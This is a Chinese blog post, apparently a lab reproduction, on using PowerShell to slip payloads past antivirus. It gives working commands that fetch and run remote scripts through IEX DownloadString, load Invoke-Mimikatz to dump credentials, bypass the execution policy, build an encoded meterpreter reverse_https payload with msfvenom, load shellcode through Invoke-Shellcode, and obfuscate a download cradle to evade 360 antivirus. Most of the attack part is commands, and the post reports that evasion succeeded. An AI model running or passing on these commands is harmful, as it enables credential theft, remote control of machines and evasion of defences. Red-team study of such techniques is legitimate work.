1. 程式人生 > 其它 >powershell實現免殺(復現)

powershell實現免殺(復現)

powershell實現免殺(復現)

目錄

本篇為遠控免殺從入門到實踐(6)-程式碼篇-Powershell復現篇

基礎知識

UNIX系統一直有著功能強大的殼程式(shell),Windows PowerShell的誕生就是要提供功能相當於UNIX系統的命令列殼程式(例如:sh、bash或csh),同時也內建指令碼語言以及輔助指令碼程式的工具,使命令列使用者和指令碼編寫者可以利用 .NET Framework的強大功能。

powershell具有在硬碟中易繞過,記憶體中難查殺的特點。一般在後滲透中,攻擊者可以在計算機上執行程式碼時,會下載powershell指令碼來執行,ps1指令碼檔案無需寫入到硬碟中,直接可以在記憶體中執行。

版本目錄

powershell只能針對win7之後的系統,之前的win作業系統預設沒有安裝powershell。不同架構的payload(x86或x64)需要不同版本的powershell來載入,否則會出錯。

64位所在目錄:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

32位所在目錄:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

執行方式

  1. 網路環境直接執行程式碼

無檔案寫入,相對較為隱蔽。下面程式碼為載入遠端指令碼Invoke-Mimikatz.ps1,執行Mimikatz的DumpCreds功能。

powershell "IEX (New-Object Net.WebClient).DownloadString('http://10.211.55.2/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
  1. 本地執行

先把http://10.211.55.2/Invoke-Mimikatz.ps1下載到本地

然後匯入powershell Import-Module .\Invoke-Mimikatz.ps1

使用命令Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'

或者Invoke-Mimikatz -DumpCreds

執行策略

檢視執行策略powershell Get-ExecutionPolicy

Unrestricted 許可權最高,可以不受限制執行任意指令碼

Restricted 預設策略,不允許任意指令碼的執行

AllSigned 所有指令碼必須經過簽名執行

RemoteSigned 本地指令碼無限制,但是對來自網路的指令碼必須經過簽名

Bypass 沒有任何限制和提示

Undefined 沒有設定指令碼的策略

繞過執行策略執行大概有以下幾種:

1.本地讀取然後通過管道符執行

powershell Get-Content 1.ps1 | powershell -NoProfile -

2.遠端下載並通過IEX執行指令碼

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.129/ps/a.ps1')"

3.Bypass執行策略繞過

powershell -ExecutionPolicy bypass -File ./a.ps1

不會顯示警告和提示

4.Unrestricted執行策略標誌

powershell -ExecutionPolicy unrestricted -File ./a.ps1

當執行一個從網上下載的未簽名的指令碼時,會給出許可權提示

需要解釋的是:

Invoke-Expression(IEX的別名):用來把字串當作命令執行。
WindowStyle Hidden(-w Hidden):隱藏視窗
Nonlnteractive(-NonI):非互動模式,PowerShell不為使用者提供互動的提示。
NoProfile(-NoP):PowerShell控制檯不載入當前使用者的配置檔案。
Noexit(-Noe):執行後不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字串編碼,避免一些解析問題

powershell載入shellcode

msf-ps1本地執行

加入shikata_ga_nai編碼的ps1指令碼生成payload:

msfvenom -p  windows/x64/meterpreter/reverse_https -e x86/shikata_ga_nai -i 20 -b '\x00' lhost=192.168.211.147 lport=3333 -f psh -o shell3.ps1

將shell.ps1拷貝到目標機上,執行

powershell.exe -ExecutionPolicy Bypass -NoExit -File  shell.ps1

msf:

use exploit/multi/handler
set payload /windows/x64/meterpreter/reverse_https
set LHOST ip
set LPORT 
run

實際效果不佳,還是會報警

增加編碼次數還是會報警

Invoke-Shellcode載入

IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1")

IEX(New-Object Net.WebClient).DownloadString("http://192.168.211.147:1337/shell3.ps1")

Invoke-Shellcode -Shellcode ($buf) -Force

實際中用powershell執行遠端下載或執行shellcode時,容易觸發殺軟行為規則

Invoke-Obfuscation

Invoke-Obfuscation

載入Invoke-Obfuscation:

在powershell中執行Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation

選擇免殺檔案:

set scriptpath

選擇編碼方式:

encoding

輸出免殺檔案:

免殺成功

msf成功上線

ps1行為免殺

對於IEX這種方便快捷的方式直接執行會被360攔截。可嘗試從語法上簡單變化。主要是對DownloadString、http做一些處理。

比如利用replace替換函式,可以bypass。

powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://10.211.55.2/shell.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"

此payload已經被殺,需要根據實際進行更改

總結

復現Tide安全團隊的免殺篇,目前基於靜態特徵免殺和一部分行為免殺,其他免殺方式將在後續陸續學習